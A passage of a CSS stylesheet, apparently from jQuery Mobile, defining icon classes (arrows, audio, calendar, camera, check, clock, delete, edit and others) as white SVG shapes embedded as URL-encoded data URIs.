url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C0%204%2C0%207.5%2C3.5%200%2C11%203%2C14%2010.5%2C6.5%2014%2C10%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-arrow-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%227%2C0%200%2C7%205%2C7%205%2C14%209%2C14%209%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-audio:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.018px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014.018%2014%22%20style%3D%22enable-background%3Anew%200%200%2014.018%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M1%2C4C0.447%2C4%2C0%2C4.447%2C0%2C5v4c0%2C0.553%2C0.447%2C1%2C1%2C1h1l4%2C4V0L2%2C4H1z%20M10.346%2C7c0-1.699-1.042-3.154-2.546-3.867L6.982%2C4.68%20C7.885%2C5.107%2C8.51%2C5.98%2C8.51%2C7S7.885%2C8.893%2C6.982%2C9.32L7.8%2C10.867C9.304%2C10.154%2C10.346%2C8.699%2C10.346%2C7z%20M9.447%2C0.017L8.618%2C1.586%20C10.723%2C2.584%2C12.182%2C4.621%2C12.182%2C7s-1.459%2C4.416-3.563%2C5.414l0.829%2C1.569c2.707-1.283%2C4.57-3.925%2C4.57-6.983%20S12.154%2C1.3%2C9.447%2C0.017z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-back:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M5%2C3V0L1%2C4l4%2C4V5c0%2C0%2C6%2C0%2C6%2C3s-5%2C4-5%2C4v2c0%2C0%2C7-1%2C7-6C13%2C4%2C8%2C3%2C5%2C3z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-bars:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M1%2C4h12c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H1C0.447%2C2%2C0%2C2.447%2C0%2C3S0.447%2C4%2C1%2C4z%20M13%2C6H1%20C0.447%2C6%2C0%2C6.447%2C0%2C7c0%2C0.553%2C0.447%2C1%2C1%2C1h12c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H1c-0.553%2C0-1%2C0.447-1%2C1%20s0.447%2C1%2C1%2C1h12c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-bullets:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M5%2C4h8c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H5C4.447%2C2%2C4%2C2.447%2C4%2C3S4.447%2C4%2C5%2C4z%20M13%2C6H5%20C4.447%2C6%2C4%2C6.447%2C4%2C7c0%2C0.553%2C0.447%2C1%2C1%2C1h8c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H5c-0.553%2C0-1%2C0.447-1%2C1%20s0.447%2C1%2C1%2C1h8c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%20M1%2C2C0.447%2C2%2C0%2C2.447%2C0%2C3s0.447%2C1%2C1%2C1s1-0.447%2C1-1S1.553%2C2%2C1%2C2z%20M1%2C6%20C0.447%2C6%2C0%2C6.447%2C0%2C7c0%2C0.553%2C0.447%2C1%2C1%2C1s1-0.447%2C1-1C2%2C6.447%2C1.553%2C6%2C1%2C6z%20M1%2C10c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1s1-0.447%2C1-1%20S1.553%2C10%2C1%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-calendar:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M0%2C8h2V6H0V8z%20M3%2C8h2V6H3V8z%20M6%2C8h2V6H6V8z%20M9%2C8h2V6H9V8z%20M12%2C8h2V6h-2V8z%20M0%2C11h2V9H0V11z%20M3%2C11h2V9H3V11z%20M6%2C11h2V9H6V11z%20%20M9%2C11h2V9H9V11z%20M12%2C11h2V9h-2V11z%20M0%2C14h2v-2H0V14z%20M3%2C14h2v-2H3V14z%20M6%2C14h2v-2H6V14z%20M9%2C14h2v-2H9V14z%20M12%2C1%20c0-0.553-0.447-1-1-1s-1%2C0.447-1%2C1H4c0-0.553-0.447-1-1-1S2%2C0.447%2C2%2C1H0v4h14V1H12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-camera:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M12%2C2.5H9.908c-0.206-0.581-0.756-1-1.408-1h-3c-0.652%2C0-1.202%2C0.419-1.408%2C1H2c-1.104%2C0-2%2C0.896-2%2C2%20v6c0%2C1.104%2C0.896%2C2%2C2%2C2h10c1.104%2C0%2C2-0.896%2C2-2v-6C14%2C3.396%2C13.104%2C2.5%2C12%2C2.5z%20M7%2C10.5c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3%20s3%2C1.343%2C3%2C3C10%2C9.156%2C8.657%2C10.5%2C7%2C10.5z%20M7%2C5.5c-1.104%2C0-2%2C0.896-2%2C2c0%2C1.104%2C0.896%2C2%2C2%2C2c1.104%2C0%2C2-0.896%2C2-2%20C9%2C6.396%2C8.104%2C5.5%2C7%2C5.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2211.949%2C3.404%207%2C8.354%202.05%2C3.404%20-0.071%2C5.525%207%2C12.596%2014.07%2C5.525%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2210.596%2C11.949%205.646%2C7%2010.596%2C2.05%208.475%2C-0.071%201.404%2C7%208.475%2C14.07%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%223.404%2C2.051%208.354%2C7%203.404%2C11.95%205.525%2C14.07%2012.596%2C7%205.525%2C-0.071%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%222.051%2C10.596%207%2C5.646%2011.95%2C10.596%2014.07%2C8.475%207%2C1.404%20-0.071%2C8.475%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-check:after, /* Used ui-checkbox-on twice to increase specificity. If active state has background-image for gradient this rule overrides. */ html .ui-btn.ui-checkbox-on.ui-checkbox-on:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2214%2C4%2011%2C1%205.003%2C6.997%203%2C5%200%2C8%204.966%2C13%204.983%2C12.982%205%2C13%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-clock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C12c-2.762%2C0-5-2.238-5-5s2.238-5%2C5-5s5%2C2.238%2C5%2C5%20S9.762%2C12%2C7%2C12z%20M9%2C6H8V4c0-0.553-0.447-1-1-1S6%2C3.447%2C6%2C4v3c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1S9.553%2C6%2C9%2C6z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-cloud:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M14%2C9.5c0-0.793-0.465-1.473-1.134-1.795C12.949%2C7.484%2C13%2C7.249%2C13%2C7c0-1.104-0.896-2-2-2%20c-0.158%2C0-0.311%2C0.023-0.457%2C0.058C9.816%2C3.549%2C8.286%2C2.5%2C6.5%2C2.5c-2.33%2C0-4.224%2C1.777-4.454%2C4.046C0.883%2C6.76%2C0%2C7.773%2C0%2C9%20c0%2C1.381%2C1.119%2C2.5%2C2.5%2C2.5h10v-0.07C13.361%2C11.206%2C14%2C10.432%2C14%2C9.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-comment:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M12%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v7c0%2C1.104%2C0.896%2C2%2C2%2C2h1v3l3-3h6c1.104%2C0%2C2-0.896%2C2-2V2C14%2C0.896%2C13.104%2C0%2C12%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-delete:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C3%2011%2C0%207%2C4%203%2C0%200%2C3%204%2C7%200%2C11%203%2C14%207%2C10%2011%2C14%2014%2C11%2010%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-edit:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M1%2C10l-1%2C4l4-1l7-7L8%2C3L1%2C10z%20M11%2C0L9%2C2l3%2C3l2-2L11%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-eye:after { background-image: 